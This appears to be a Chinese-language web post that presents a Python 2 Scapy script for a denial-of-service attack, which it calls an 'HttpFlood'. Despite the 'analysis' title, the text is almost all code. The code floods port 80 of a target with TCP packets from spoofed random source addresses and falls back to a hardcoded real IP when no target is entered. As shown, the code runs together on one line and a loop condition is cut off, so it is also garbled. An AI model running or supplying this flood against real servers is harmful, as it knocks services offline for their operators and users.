分析python服务器拒绝服务攻击代码

代码如下:# -*- coding: cp936 -*-from scapy.all import *from threading import Thread,activeCountfrom random import randintclass Loop(Thread): def __init__(self,remoteAddr): Thread.__init__(self) self.remoteAddr = remoteAddr def run(self): ip = str(randint(0,255))+'.'\ +str(randint(0,255))+'.'\ +str(randint(0,255))+'.'\ +str(randint(0,255)) sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3) class Main(Thread): def __init__(self,remoteAddr): Thread.__init__(self) self.remoteAddr = remoteAddr def run(self): limit = 140 total = 0 while True: if activeCount() Loop(remoteAddr = self.remoteAddr).start() total = total + 1 print '目前已经进行的HttpFlood的次数为:',totalif __name__ == '__main__': remoteAddr = raw_input('IP=') if remoteAddr == '': remoteAddr = '202.103.25.12' Main(remoteAddr = remoteAddr).start()